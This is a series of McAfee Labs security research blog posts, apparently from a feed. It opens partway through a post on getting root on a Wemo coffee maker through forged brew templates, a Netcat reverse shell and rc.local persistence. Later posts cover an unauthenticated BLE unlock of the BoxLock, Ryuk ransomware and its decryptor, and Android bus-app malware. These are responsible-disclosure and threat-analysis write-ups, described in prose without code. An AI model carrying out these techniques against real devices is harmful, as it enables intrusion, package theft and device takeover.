With that in mind, I began to investigate the Mr. Coffee Coffee Maker with Wemo (WeMo_WW_2.00.11058.PVT-OWRT-Smart) since we had previously bought one for our research lab (and we don’t have many coffee drinkers, so I didn’t feel bad about demolishing it!). My hope was to build on previous work done by my colleague Douglas McKee (@fulmetalpackets) and his Wemo Insight smart plug exploit. Finding a similar attack vector absent in this product, I explored a unique avenue and was able to find another vulnerability.  In this post I will explore my methodology and processes in detail.

All Wemo devices have two ways of communicating with the Wemo App, remotely via the internet or locally directly to the Wemo App. Remote connectivity is only present when the remote access setting is enabled, which it is by default. To allow the Wemo device to be controlled remotely, the Wemo checks Belkin’s servers periodically for updates. This way the Wemo doesn’t need to open any ports on your network. However, if you are trying to control your Wemo devices locally, or the remote access setting is disabled, the Wemo app connects directly to the Wemo. All my research is based on local device communication with the remote access setting turned off.

To gain insight on how the coffee maker communicates with its mobile application, I first set up a local network capture on my cellphone using an application called “SSL Capture.” SSL Capture allows the user to capture traffic from mobile applications. In this case, I selected the Wemo application. With the capture running, I went through the Wemo app and initiated several standard commands to generate network traffic. By doing this, I was able to view the communication between the coffee maker and the Wemo application. One of the unique characteristics about the app is that the user is able schedule the coffee maker to brew at a specified time. I made a few schedules and saved them.

I began analyzing the network traffic between the phone application and the Mr. Coffee machine. All transmissions between the two devices were issued in plaintext, meaning no encryption was used. I also noticed that the coffee maker and the mobile app were communicating over a protocol called UPNP (Universal Plug and Play), which has preset actions called “SOAP ACTIONS.” Digging deeper into the network capture from the device, I saw the SOAP action “SetRules.” This included XML content that pertained to the “brew schedule” I had set from the mobile application.

A Mr. Coffee “brew” being scheduled.

At this point I was able to see how the Wemo mobile application handled brewing schedules. Next, I wanted to see if the coffee maker performed any sort of validation of these schedules so I went back into the mobile application and disabled them all. I then copied the data and headers from the network capture and used the Linux Curl command to send the packet back to the coffee maker. I got the return header status of “200” which means “OK” in HTTP. This indicated there was no validation of the source of brewing schedules; I further verified with the mobile application and the newly scheduled brew appeared.

Curl command to send a “Brew” schedule to the Wemo Coffee maker.

Screenshot of the Curl command populating the Wemo app with a brew schedule

At this point I could change the coffee maker’s brew schedule without ever using the Wemo mobile application. To understand how the schedules were stored on the Wemo coffee maker, I decided to physically disassemble it and look at the electronics inside. Once disassembled, I saw there was a Wemo module connected to a larger PCB responsible for controlling the functions of the coffee maker. I then extracted the Wemo module from the coffee maker. This looked almost Identical to the Wemo module that was in the Wemo Insight device. I leveraged Doug’s blog on exploitation of the Wemo Insight to replicate the serial identification, firmware extraction, and root password change. After I obtained root access via the serial port on the Wemo device, I began to investigate the way in which the Wemo application is initiated from the underlying Linux Operating System. While looking through some of the most common Linux files and directories, I noticed something odd in the “crontab” file (used in Linux to execute and schedule commands).

It appeared the developers decided to take the easy route and used the Linux crontab file to schedule tasks instead of writing their own brew scheduling function. The crontab entry was the same as the scheduled brew I sent via the Wemo application (coffee-3) and executed as root. This was especially interesting; if I could add some sort of command to execute from the replayed UPNP packet, I could potentially execute my command as root over the network.

With the firmware dumped, I decided to look at the “rtng_run_rule” executable that was called in the crontab. The rtng_run_rule is a Lua script. As Lua is a scripting language, it was written in plaintext and not compiled like all the other Wemo executables. I followed the flow of execution until I noticed the rule passing parameters to a template for execution. At this point, I knew it would be useless trying to inject commands directly into the rule and instead looked at modifying the template performing the execution.

I went back to the Wemo mobile application network captures and started to dig around again. I found the application also sends the templates to the Wemo coffee maker. If I could figure out how to modify the template and still have the Wemo think it is valid, I could get arbitrary code execution.

Template with the correct syntax to pass Wemo’s verification

There were 3 templates sent over, “do,” “do_if,” and “do_unless.” Each of the templates were Lua scripts and encoded with base64. Based on this, I knew it would be trivial to insert my own code; the only remaining challenge would be the MD5 hash included at the top of the template. As it turned out, that was hardly an obstacle.

I created an MD5 hash of the base-64 decoded Lua script and the base64 encoded script separately, simply to see if one or the other matched the hash that was being sent; however, neither matched the MD5 being sent in the template. I began to think the developers used some sort of HMAC or clever way to hash the template, which would have made it much harder to upload a malicious template. Instead, I was astounded to find out that it was simply the base64 code prepended by the string “begin-base64 644 <template name>” and appended with the string “====.”

At last I had the ability to upload any template of my choice and have it pass all the Wemo’s verification steps necessary to be used by a scheduled rule.

I appended a new template called “hack” and added a block of code within the template to download and execute a shell script.

Within that shell command, I instructed the Mr. Coffee Coffee Maker with Wemo to download a cross-complied version of Netcat so I can get a reverse shell, and also added an entry to “rc.local.” This was done so that if the coffee maker was power cycled, I would have persistent access to the device after reboot, via the Netcat reverse shell.

The final aspect of this exploit was to use what I learned earlier to schedule a brew with my new “hack” template executing my shell script. I took the schedule I was able to replay earlier and modified it to have the “hack” template execute 5 minutes from the time of sending. I did have to convert the time value required into the epoch time format.

Converting time to Epoch time.

Now, I sat back and waited as the coffee maker (at my specified time delay) connected to my computer, downloaded my shell script, and ran it. I verified that I had a reverse shell and that it ran as intended, perfectly.

This vulnerability does require network access to the same network the coffee maker is on. Depending on the complexity of the user’s password, WiFi cracking can be a relatively simple task to accomplish with today’s computing power. For example, we demonstrate a quick and easy brute force dictionary attack to crack a semi-complex WPA2 password (10 characters alpha-numeric) in the demo for the Wemo Insight smart plug.  However, even a slightly more complex password, employing special characters, would exponentially increase the difficulty of a brute force attack. We contacted Belkin (who owns Wemo) on November 16th, 2018 and disclosed this issue to them. While the vendor did not respond to this report, we were pleasantly surprised to see that the latest firmware update has patched the issue. Despite a general lack of communication, we’re delighted to see the results of our research further securing home automation devices.

This vulnerability shows that not all exploits are overly complicated or require an exceptional amount of effort to pull off, if you know what to look for. This vulnerability exists solely because a few poor coding decisions were made in conjunction with a lack of input sanitation and validation. Even though this target does not contain sensitive data and is limited to your local network, it doesn’t mean malicious hackers are not targeting IOT devices like this. These devices may serve as a sought-after target as they are often overlooked from a security standpoint and can provide a simple and unmonitored foothold into your home or business network. It is very important for any consumer, when purchasing new IOT gadgets, to ask themself: “Does this really need to be connected to the internet?” In the case of a coffee maker, I’ll let you be the judge.

The post Your Smart Coffee Maker is Brewing Up Trouble appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/your-smart-coffee-maker-is-brewing-up-trouble/feed/ 0
What’s in the Box? https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/whats-in-the-box/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/whats-in-the-box/#respond Mon, 25 Feb 2019 10:09:56 +0000 https://securingtomorrow.mcafee.com/?p=94271

2018 was another record-setting year in the continuing trend for consumer online shopping.  With an increase in technology and efficiency, and a decrease in cost and shipping time, consumers have clearly made a statement that shopping online is their preferred method. Chart depicting growth of online, web-influenced and offline sales by year.1 In direct correlation […]

The post What’s in the Box? appeared first on McAfee Blogs.

]]>

2018 was another record-setting year in the continuing trend for consumer online shopping.  With an increase in technology and efficiency, and a decrease in cost and shipping time, consumers have clearly made a statement that shopping online is their preferred method.

Chart depicting growth of online, web-influenced and offline sales by year.1

In direct correlation to the growth of online shopping preferences is the increase in home delivery, and correspondingly, package theft. Though my initial instinct was to attempt to recreate YouTuber Mark Rober’s glitter bomb, I practiced restraint and instead settled on investigating an innovative product called the BoxLock (BoxLock Firmware: 94.50 or below). The BoxLock is a smart padlock that you can setup outside of your house to secure a package delivery container. It can be opened either via the mobile application (Android or iPhone) or by using the built-in barcode scanner to scan a package that is out for delivery. The intent is that delivery drivers will use the BoxLock to unlock a secure drop box and place your package safely out of reach of package thieves. The homeowner can then unlock the lock from their phone using the app to retrieve their valuable deliveries.

Since I am more of a hardware researcher, the first step I did when I got the BoxLock was to take it apart to view the internals.

With the device disassembled and the main PCB extracted, I began to look for interesting pins, mainly UART and JTAG connections. I found 5 pins below the WiFi module that I thought could be UART, but after running it through a logic analyzer I didn’t see anything that looked like communication.

The BoxLock uses a SOC (System-on-a-Chip) which contains the CPU, RAM, ROM, and flash memory all in one. However, there was still an additional flash chip which I thought was odd. I used my Exodus Intelligence hardware interface board to connect to the SPI flash chip and dump the contents.

Exodus Intelligence XI Hardware Interface Board

The flash chip was completely empty. My working theory is that this flash chip is used to store the barcodes of packages out for delivery. There could also have been in issue with my version of Flashrom, which is the software I used to dump flash. The only reason I question my version of Flashrom is because I had to compile it myself with support for the exact flash chip (FT25H04S), since it is not supported by default.

The Main SOC (ATSAMD21J18)

Even though I couldn’t get anything from that flash chip, my main target here was the SOC. On the underside of the Process Control Board (PCB), I identified two tag-connect connection ports. I identified the SWD (Serial Wire Debug) pins located on the SOC (Pin 57 and 58 on the image above) and very slowly and carefully visually traced the paths to the smaller Tag-Connect connection.

 

Adafruit Feather M0 Development board

Since I have not done much JTAG analysis before, I grabbed an Adafruit Feather M0 that we had in our lab for testing, since the Feather uses the exact same SOC and WiFi chip as the BoxLock. The Adafruit Feather has excellent documentation on how to connect to the SOC via SWD pins I traced. I used Atmel Studio to read the info off the ATSAMD21 SOC; this showed me how to read the fuses as well as dump the entire flash off the Adafruit Feather.

SWD information of the Adafruit Feather M0

Atmel Studio also will let you know if the device has the “Security Bit” enabled. When set, the security bit is used to disable all external programming and debugging interfaces, making memory extraction and analysis extremely difficult. Once the security bit is set, the only way to bypass or clear the bit is to completely erase the chip.

Showing how to set the security bit on the Adafruit Feather M0

After I felt comfortable with the Adafruit feather I connected the BoxLock to a Segger JLink and loaded up Atmel Studio. The Segger JLink is a debugging device that can be used for JTAG and SWD. I was surprised that the developers set the security bit; this is a feature often overlooked in IOT devices. However, with the goal of finding vulnerabilities, this was a roadblock. I started to look elsewhere.

Segger JLink used for SWD communication

After spending some time under the microscope, I was able to trace back the larger Tag-Connect port to the BLE (Bluetooth Low Energy) module. The BLE module also has a full SOC which could be interesting to look at, but before I began investigating the BLE chip I still had two vectors to look at first: BLE and WiFi network traffic.

BLE is different to Bluetooth. The communication between BLE devices is secured by the use of encryption, whose robustness depends on the pairing mode used and BLE allows a few different pairing modes; the least secure “Just Works ” pairing mode is what the BoxLock is using. This mode allows any device to connect to it without the pin pairing that normal Bluetooth connections are known for. This means BLE devices can be passively intercepted and are susceptible to MITM (Man in The Middle) attacks.

BLE roles are defined at the connection layer. GAP (Generic Access Profile) describes how devices identify and connect to each other. The two most important roles are the Central and Peripheral roles. Low power devices like the BoxLock follow the Peripheral role and will broadcast their presence (Advertisement). More powerful devices, such as your phone, will scan for advertising devices and connect to them (this is the Central role). The communication between the two roles is done via special commands usually targeted at a GATT (Generic Attributes) services. GATT services can be standard and generic, such as the command value 0x180F, which is the Battery Service. Standardized GATT services help devices communicate with one another without the need for custom protocols. The GATT services present on the BoxLock were all custom, which means they will be displayed as “Unknown Service” when enumerated in a Bluetooth/BLE app.  I chose Nordic’s NRF Connect, available in both the Apple and Android app stores or as a desktop application.

NRF Connect application connected to the BoxLock via BLE

Since the BoxLock was using custom GATT commands I decided to disassemble the Android APK to see if I could find any more information on the “Unknown” UUIDs. I used a tool called “dex2jar” to disassemble the Android APK and then ran the JavaScript code through JSBeautify to clean up the code.

Next, I began searching for UUIDs and the keyword “GATT”. I was able to find the entire list of GATT services and what they pertain to.

GATT services UUID descriptions

The one I was most interested in was labeled as “Command Service”, where the unlock GATT command is sent to. To try it out, I used the NRF Connect application to send a GATT “sendOpenSignal” command with an attribute value of “2”.

How the Android application sends the unlock command

It was just that simple; lo and behold, the BoxLock unlocked!

I was amazed; the phone that I used to send the GATT command over had never connected to the BoxLock before and did not have the BoxLock application installed, yet it was able to unlock the BoxLock. (The vulnerable application version is v1.25 and below).

Continuing to explore the other GATT UUIDs, I was able to read the WiFi SSID, access token, user’s email, and client ID directly off the device. I was also able to write any of these same values arbitrarily.

Information that you can see about the BoxLock via the NRF Connect application

The mandatory identifiers required for the BoxLock to unlock are the access token, user email, and client ID. If those values are not present the device will not authenticate via the cloud API and will not unlock.

The most glaring issue with having all these fields readable and writeable is that I was able to successfully replay them on the device, ultimately bypassing any authentication which led to the BoxLock unlocking.

From my testing, these values never expired and the only way I found that the device cleared the credentials necessary to authenticate was when I removed the battery from the BoxLock. The BoxLock battery is “technically” never supposed to be removed, but since I physically disassembled the lock, (which took a decent amount of effort), I was able to test this.

Even though I was able to unlock the BoxLock, I still wanted to explore one other common attack vector.  I analyzed the network traffic between the device and the internet. I quickly noticed that, apart from firmware updates, device-to-cloud traffic was properly secured with HTTPS and I could not easily get useful information from this vector.

I do not currently have an estimate of the extent of this product’s deployment, so I cannot comment on how wide the potential impact could have been if this issue had been found by a malicious party. One constraint to the attack vector is that it requires BLE, which communicates from a distance of approximately 30 or 40 feet. However, for someone looking to steal packages this would not be a challenge difficult to overcome, as the unlocking attack could be completed very quickly and easily, making the bar for exploitation simply a smart phone with Bluetooth capability. The ease and speed of the exploit could have made for an enticing target for criminals.

I want to take a moment to give some very positive feedback on this vendor. Vulnerability disclosure can be a challenging issue for any company to deal with, but BoxLock was incredibly responsive, easy to work with and immediately recognized the value that McAfee ATR had provided. Our goal is to eliminate vulnerabilities before malicious actors find them, as well as illuminate security issues to the industry so we can raise the overall standard for security. BoxLock was an excellent example of this process at work; the day after disclosing the vulnerability, they set up a meeting with us to discuss our findings, where we proposed a mitigation plan. The BoxLock team set a plan in place to patch not only the BoxLock firmware but the mobile applications as well. Within a week, the vendor created a patch for the vulnerability and updated the mobile apps to force mandatory update to the patched firmware version. We tested the firmware and app update and verified that the application properly clears credentials after use on the vulnerable firmware. We also tested the new firmware which clears the credentials even without the mobile app’s interaction.

IoT security has increasingly become a deciding factor for consumers. The process of vulnerability disclosure is an effective method to increase collaboration between vendors, manufacturers, the security community and the consumer. It is our hope that vendors move towards prioritizing security early in the product development lifecycle. We’d like to thank BoxLock for an effective end-to-end communication process, and we’re pleased to report that this significant flaw has been quickly eradicated. We welcome any questions or comments on this blog!

The post What’s in the Box? appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/whats-in-the-box/feed/ 0
Ryuk, Exploring the Human Connection https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ryuk-exploring-the-human-connection/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ryuk-exploring-the-human-connection/#respond Wed, 20 Feb 2019 05:01:05 +0000 https://securingtomorrow.mcafee.com/?p=94215

In collaboration with Bill Siegel and Alex Holdtman from Coveware.   At the beginning of 2019, McAfee ATR published an article describing how the hasty attribution of Ryuk ransomware to North Korea was missing the point. Since then, collective industry peers discovered additional technical details on Ryuk’s inner workings, the overlap between Ryuk and Hermes2.1, […]

The post Ryuk, Exploring the Human Connection appeared first on McAfee Blogs.

]]>

In collaboration with Bill Siegel and Alex Holdtman from Coveware.

 

At the beginning of 2019, McAfee ATR published an article describing how the hasty attribution of Ryuk ransomware to North Korea was missing the point. Since then, collective industry peers discovered additional technical details on Ryuk’s inner workings, the overlap between Ryuk and Hermes2.1, and a detailed description of how the ransomware is piggybacking the infamous and ever evolving Trickbot as a primary attack vector. In this blog post we have teamed up with Coveware to take a closer look at the adversary and victim dynamics of Ryuk Ransomware. We structured our research using the Diamond threat model and challenged our existing hypotheses with fresh insights.

Introduction to The Diamond Model

Within Cyber Threat intelligence research, a popular approach is to model the characteristics of an attack using The Diamond Model of Intrusion Analysis. This model relates four basic elements of an intrusion: adversary, capabilities, infrastructure and victim.

For the Ryuk case described above the model can be applied as follows: “An Adversary, cyber-criminal(s), have a capability (Ryuk Ransomware) that is being spread via a TrickBot infection Infrastructure targeting specific victims.

Diamond model of Intrusion Analysis

The Diamond Model offers a holistic view of an intrusion that is a helpful guideline to shape the direction of intelligence research. By searching for relationships between two elements one can gather new evidence. For instance, by analyzing and reverse engineering a piece of malware one might uncover that a certain server is being used for command and control infrastructure, thus linking capability with infrastructure (as shown below).

Linking Infrastructure and Capability

Alternatively, one might search underground forums to find information on adversaries who sell certain pieces of malware, thus linking an adversary with a capability. For instance, finding the underground forum advertisement of Hermes2.1.

Linking Adversary and Capability

Analysis of Competing Hypotheses

In our earlier publication we explained The Analysis of Competing Hypotheses (ACH), the process of challenging formed hypotheses with research findings.
By following this method, we concluded that the strongest hypothesis is not the one with the most verifying evidence, but the one with the least falsifying evidence.

In order to construct a hypothesis with the least falsifying evidence we welcome research published by our industry peers to dissimilate insights that challenge our hypotheses. When we combined all the evidence with links on the diamond model, we discovered that one essential link wasn’t made, the link between adversary and victim.

Seeking New Insights Between Adversary and Victim

Despite published research, the direct link between adversary and victim remained relatively unexplored. Unlike most cybercrime, ransomware and digital extortion frequently creates a strong social connection between adversary and victim. The adversary has certain needs and views the victim as the means to fulfill those needs. The connection between an adversary and victim often generates valuable insights, especially in cases where (extensive) negotiation take place.

Luckily, one of our NoMoreRansom partners, Coveware, is specialized in ransomware negotiations and has gained valuable insights help us link adversary and victim.

The social connection between Adversary and Victim

Ransom Amounts and Negotiations

By aggregating ransomware negotiation and payment data, Coveware is able to identify strain-specific ransomware trends. With regards to Ryuk, it should be noted that ransom amounts average more than 10x the average, making it the costliest type of ransomware. Coveware also observed that some Ryuk ransoms were highly negotiable, while others were not. The bar-belled negotiation results generated an average ransom payment of $71k, a 60% discount from an average opening ask of $145k.

The bar-belled negotiation outcomes meant that some victims were stonewalled. These victims either lost their data or took on staggering financial risk to pay the ransom. The outcomes also imply that in certain cases the adversary would rather receive infrequent large windfalls (often in excess of 100BTC), while in other cases the adversary was keen to monetize every attack and accept lower amounts to ensure payment. This difference in modus operandi suggests that more than one cyber-criminal group is operating Ryuk ransomware.

Ransom Note and Negotiation Similarities and Differences

Similarities between Bitpaymer and Ryuk ransom notes have been observed before. While it is not uncommon for ransom notes to share similar language, sequences of phrases tend to remain within the same ransomware family. Slight copy+paste modifications are made to the ransom text as a variant is passed along to different groups, but large alterations are rarely made. Below is a comparison of a Bitpaymer initial email (left) and a standard Ryuk initial email (right).

A comparison of a Bitpaymer initial email (left) and a standard Ryuk initial email (right)

The shared language implies that text once unique to a Bitpaymer campaign was borrowed for a Ryuk campaign, possibly by an operator running simultaneous ransom campaigns of both Bitpaymer and Ryuk or the imitation can be considered as the sincerest form of flattery.

Different Initial Email Response May Be Different Adversaries?

A more dramatic scripted communication difference has been observed in the initial email response from Ryuk adversaries. The initial email response is typically identical within ransomware families belonging to the same campaign. When significant differences in length, language, and initial ransom amount appear in the initial email response we are comfortable assuming they belong to unique groups with unique modus operandi. This would mean that Ryuk in being spread by more than one actor group.

Below are two such Ryuk examples:

 

Post Payment Bitcoin Activity

A final indicator that multiple groups are running simultaneous Ryuk campaigns can be observed in the activity of bitcoin after it hits a ransom address. Surprisingly, despite the differences between negotiation outcome and initial communications, Coveware observed little difference between the BTC wallets (blacked out to protect victims) associated with the above cases. Initial comparison showed no meaningful discrepancy in difference between the time of a ransom payment and the time of a corresponding withdraw. Additionally, the distribution of funds upon withdrawal was consistently split between two addresses. Coveware will continue to monitor the funds associated with campaigns for meaningful indicators.

Ryuk Negotiating Profiles

With few exceptions, the rest of the email replies during a Ryuk extortion negotiation are extremely short and blunt. Typical replies and retorts are generally less than 10 written words and often just a single number if the ransom amount is the point of discussion. This correspondence is unique to Ryuk.

One reply did contain quite a remarkable expression; “à la guerre comme à la guerre,” to contextualize the methods and reasons for the cyber criminals’ attacks on western companies. The French expression originates from the seventeenth century and literally translates to “in war as in war” and loosely translates to: “In Harsh times one has to do with what’s available”. The striking thing about this expression is that is prominently featured in volume 30 of the collected works of the Soviet Revolutionary leader Vladimir Lenin. Lenin uses the expression to describe the struggle of his people during the war against western capitalism.

This concept of “The capitalistic West versus the Poor east” is actually something McAfee ATR sees quite often expressed by cyber criminals from some of the Post-Soviet republics. This expression may be a clear indicator of the origin and cultural view of the criminals behind Ryuk.

Ryuk poses existential risk to certain industries

Even though the average ransom discounts of Ryuk are large (~60%), the absolute level of the ransom is extreme. Accordingly, we have seen evidence that links ransom demands to the size of the network footprint of the victim company. However, this doesn’t mean that the ransom demand correlates to the victims actual operational and financial size.

Companies in the IT Hosting and the Freight and Logistics industries have been particularly susceptible to this discrepancy. Coveware has assisted at least 3 companies that have had to unwind their business when an affordable ransom amount, could not be reached. Typically, downtime costs are 10x the ransom amount, but in these industries downtime costs can be particularly extreme.

IT Hosting companies are of note as the size and number of their servers can make them appear like a large organization. Unfortunately, the business of hosting involves high fixed costs, low operating margins, and zero tolerance of downtime by end clients.  Hosting companies that get attacked typically have a few hours to restore service before their clients drop them for alternatives. Moreover, these companies suffer irreparable harm to their reputations, and may trigger SLA breaches that leave them exposed to liability.  The inability to pay a six-figure ransom has caused multiple hosting companies to shut down.

Freight and Logistics firms are also acutely exposed. These firms also present like larger firms given the volume of data they move and their network footprint. Additionally, attacks against Freight and Logistics firms can cause immediate supply chain issues for the victims’ end clients, who are subsequently forced to route through other service providers. Similar to IT Hosting, Freight and Logistics firms have low operating margins and end clients with little tolerance for service interruptions. The inability to pay or negotiate a large ransom has materially impacted several firms in this industry.

Ryuk Decryptor findings and issues

When victims do pay the exorbitant ransom amount, the criminals will provide a decryptor to unlock a their files. This decryptor is actually framework that needs to be loaded with a victim’s private RSA key, provided by the criminals, in order to decrypt. Ensuring that the provided decryptor will only work for this specific victim. This setup allows the criminals to quickly load a victim’s key in the framework and offer a custom decryptor with minimal code change while the underlaying framework remains the same.

From Coveware’s experience we have learned that the decryption process is quite cumbersome and full of possible fatal errors. Luckily Coveware was able to share the Ryuk decryptor with McAfee ATR in order to take a closer look at the issues and level of sophistication of the decryptor.

Once launched the first thing the decryptor does is to search the HKEY_CURRENT_USER Hive for a value pair named “svchos” in the path “SOFTWARE\Microsoft\Windows\CurrentVersion\Run” and delete the specific entry. This removes the persistence of the malware. Afterwards it will reboot the system and remove any remaining Ryuk malware still receding on the system.

Deleting the “svchos” value from the registry.

Once rebooted the user needs to run the tool again and the decryptor will provide two options to decrypt.

  • Decryption per file
  • Automatic decryption

The main interface of the Ryuk decryptor with the different menu options.

HERMES File Marker

During the decryption process we have found that the decryptor searches for the known file marker string HERMES which is located in the encrypted file.

The HERMES marker clearly visible within the file

The fact that Ryuk ransomware adds HERMES filemarker string was already known, but discovering this specific check routine in the decryptor strengthens the hypotheses that Ryuk is a slightly modified version of Hermes2.1 ransomware kit that is sold online even more.

Decryptor Issues

While examining the decryptor we were astonished by the lack of sophistication and the amount of errors that resided within the code. Some of the most prominent issues were:

  • If there is a space in the Windows file path the decryptor will fail the decryption process.
  • If there is a quotation mark (“) in the file path the decryptor will report an error that it cannot find the specific file.
  • The decryptor uses the “GetVersionExW” function to determine the windows version, from Windows 8.1. the value returned by this API has changed and the decryptor isn’t designed to handle this value.
  • The decryptor doesn’t remove the .RYUK extension and replace it with the original extension. So, there is no way the name of the file can give an indication towards the type of the file, something that can be extremely labor intensive for enterprise victims.
  • When choosing the manual option in the decryptor, the user has to supply a path of the specific file or choose “0” to finish. However, choosing a “0” will put the decryptor into an infinite loop.

Looking at the decryptor, it is very worrisome to see that the criminals behind Ryuk can get away with such bad programming. It shows a clear lack of empathy towards their victims and the absence of solid coding skills. Victims who do pay the exorbitant ransom demand are far from in the clear. The decryptor offered by the criminals has a very high risk of malfunctioning, resulting in permanent damage to their precious files. Victims should always make an exact copy of the encrypted hard disk before trying to use the decryptor.

Call to action in piecing the different parts together

By combining all the fresh insights with the information that was already discovered by ourselves and industry peers we can start defining our leading hypotheses around Ryuk. Based on this hypothesis, we will actively look for falsifying evidence. We encourage the security community to participate in this process. We realize that only by collaboration can we piece the different parts of the Ryuk puzzle together.

By now it should be without question that involvement of the DPRK is the least likely hypothesis. Our leading Hypothesis on Ryuk until proven otherwise is;

Ryuk is a direct descendant from Hermes2.1 with slight modifications, based on the code overlap in the ransomware as well as the decryptor. Ryuk is not designed to be used in a largescale corporate environment, based on all the scalability issues in the decryptor. At this moment there are several actors or actor-groups spreading Ryuk, based on the extortion modus operandi and different communications with the victims. The actors or actor-groups behind Ryuk have a relationship with one of the Post-Soviet republics, based on the Russian found in one of the encrypted files and the cultural references observed in the negotiations. The actors behind Ryuk most likely have an affiliation or relationship with the actors behind Trickbot and, based on their TTP, are better skilled at exploitation and lateral movement than pure Ransomware development.

Conclusion

In the last seven months Ryuk has proven to be a highly profitable form of ransomware, despite the poor programming behind it and its decryptor. The criminals have proven to be ruthless and several of their victims were forced to wind down their businesses after they were unable to afford the exorbitant ransom.

When a company does give in to the high demands it is extra painful to see a situation occur where they are permanently unable to recover their files due to the faulty decryptor.

A solid data loss prevention strategy still remains the best advice against all forms of ransomware, for general prevention advice please visit NoMoreRansom. Always seek professional assistance when you are faced with a targeted ransomware attack such as Ryuk.

The post Ryuk, Exploring the Human Connection appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ryuk-exploring-the-human-connection/feed/ 0
MalBus: Popular South Korean Bus App Series in Google Play Found Dropping Malware After 5 Years of Development https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/malbus-popular-south-korean-bus-app-series-in-google-play-found-dropping-malware-after-5-years-of-development/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/malbus-popular-south-korean-bus-app-series-in-google-play-found-dropping-malware-after-5-years-of-development/#respond Mon, 04 Feb 2019 18:00:12 +0000 https://securingtomorrow.mcafee.com/?p=94034

McAfee’s Mobile Research team recently learned of a new malicious Android application masquerading as a plugin for a transportation application series developed by a South Korean developer. The series provides a range of information for each region of South Korea, such as bus stop locations, bus arrival times and so on. There are a total […]

The post MalBus: Popular South Korean Bus App Series in Google Play Found Dropping Malware After 5 Years of Development appeared first on McAfee Blogs.

]]>

McAfee’s Mobile Research team recently learned of a new malicious Android application masquerading as a plugin for a transportation application series developed by a South Korean developer. The series provides a range of information for each region of South Korea, such as bus stop locations, bus arrival times and so on. There are a total of four apps in the series, with three of them available from Google Play since 2013 and the other from around 2017. Currently, all four apps have been removed from Google Play while the fake plugin itself was never uploaded to the store. While analyzing the fake plugin, we were looking for initial downloaders and additional payloads – we discovered one specific version of each app in the series (uploaded at the same date) which was dropping malware onto the devices on which they were installed, explaining their removal from Google Play after 5 years of development.

Figure 1. Cached Google Play page of Daegu Bus application, one of the apps in series

When the malicious transportation app is installed, it downloads an additional payload from hacked web servers which includes the fake plugin we originally acquired. After the fake plugin is downloaded and installed, it does something completely different – it acts as a plugin of the transportation application and installs a trojan on the device, trying to phish users to input their Google account password and completely take control of the device. What is interesting is that the malware uses the native library to take over the device and also deletes the library to hide from detection. It uses names of popular South Korean services like Naver, KakaoTalk, Daum and SKT. According to our telemetry data, the number of infected devices was quite low, suggesting that the final payload was installed to only a small group of targets.

The Campaign

The following diagram explains the overall flow from malware distribution to device infection.

Figure 2. Device infection process

When the malicious version of the transportation app is installed, it checks whether the fake plugin is already installed and, if not, downloads from the server and installs it. After that, it downloads and executes an additional native trojan binary which is similar to the trojan which is dropped by the fake plugin. After everything is done, it connects with the C2 servers and handles received commands.

Initial Downloader

The following table shows information about the malicious version of each transportation app in the series. As the Google Play number of install stats shows, these apps have been downloaded on many devices.

Unlike the clean version of the app, the malicious version contains a native library named “libAudio3.0.so”.

Figure 3. Transportation app version with malicious native library embedded

In the BaseMainActivity class of the app, it loads the malicious library and calls startUpdate() and updateApplication().

Figure 4. Malicious library being loaded and executed in the app

startUpdate() checks whether the app is correctly installed by checking for the existence of a specific flag file named “background.png” and whether the fake plugin is installed already. If the device is not already infected, the fake plugin is downloaded from a hacked web server and installed after displaying a toast message to the victim. updateApplication() downloads a native binary from the same hacked server and dynamically loads it. The downloaded file (saved as libSound1.1.so) is then deleted after being loaded into memory and, finally, it executes an exported function which acts as a trojan. As previously explained, this file is similar to the file dropped by the fake plugin which is discussed later in this post.

Figure 5 Additional payload download servers

Fake Plugin

The fake plugin is downloaded from a hacked web server with file extension “.mov” to look like a media file. When it is installed and executed, it displays a toast message saying the plugin was successfully installed (in Korean) and calls a native function named playMovie(). The icon for the fake plugin soon disappears from the screen. The native function implemented in LibMovie.so, which is stored inside the asset folder, drops a malicious trojan to the current running app’s directory masquerading as libpng.2.1.so file. The dropped trojan is originally embedded in the LibMovie.so xor’ed, which is decoded at runtime. After giving permissions, the address of the exported function “Libfunc” in the dropped trojan is dynamically retrieved using dlsym(). The dropped binary in the filesystem is deleted to avoid detection and finally Libfunc is executed.

Figure 6 Toast message when malware is installed

In the other forked process, it tries to access the “naver.property” file on an installed SD Card, if there is one, and if it succeeds, it tries starting “.KaKaoTalk” activity which displays a Google phishing page (more on that in the next section) . The overall flow of the dropper is explained in the following diagram:

Figure 7. Execution flow of the dropper

Following is a snippet of a manifest file showing that “.KaKaoTalk” activity is exported.

Figure 8. Android Manifest defining “.KaKaoTalk” activity as exported

Phishing in JavaScript

KakaoTalk class opens a local HTML file, javapage.html, with the user’s email address registered on the infected device automatically set to log into their account.

Figure 9. KakaoTalk class loads malicious local html file

The victim’s email address is set to the local page through a JavaScript function setEmailAddress after the page is finished loading. A fake Korean Google login website is displayed:

Figure 10. The malicious JavaScript shows crafted Google login page with user account

We found the following attempts of exploitation of Google legitimate services by the malware author:

  • Steal victim’s Google account and password
  • Request password recovery for a specific account
  • Set recovery email address when creating new Google account

An interesting element of the phishing attack is that the malware authors tried to set their own email as the recovery address on Google’s legitimate services. For example, when a user clicks on the new Google account creation link in the phishing page, the crafted link is opened with the malware author’s email address as a parameter of RecoveryEmailAddress.

Figure 11. The crafted JavaScript attempts to set recovery email address for new Google account creation.

Fortunately for end users, none of the above malicious attempts are successful. The parameter with the malware author’s email address is simply ignored at the account creation stage.

Trojan

In addition to the Google phishing page, when “Libfunc” function of the trojan (dropped by the fake plugin or downloaded from the server) is executed, the mobile phone is totally compromised. It receives commands from the following hardcoded list of C2 servers. The main functionality of the trojan is implemented in a function called “doMainProc()”. Please note that there are a few variants of the trojanwith different functionality but, overall, they are pretty much the same.

Figure 12. Hardcoded list of C2 servers

The geolocation of hardcoded C2 servers lookslike the following:

Figure 13. Location of C2 Servers

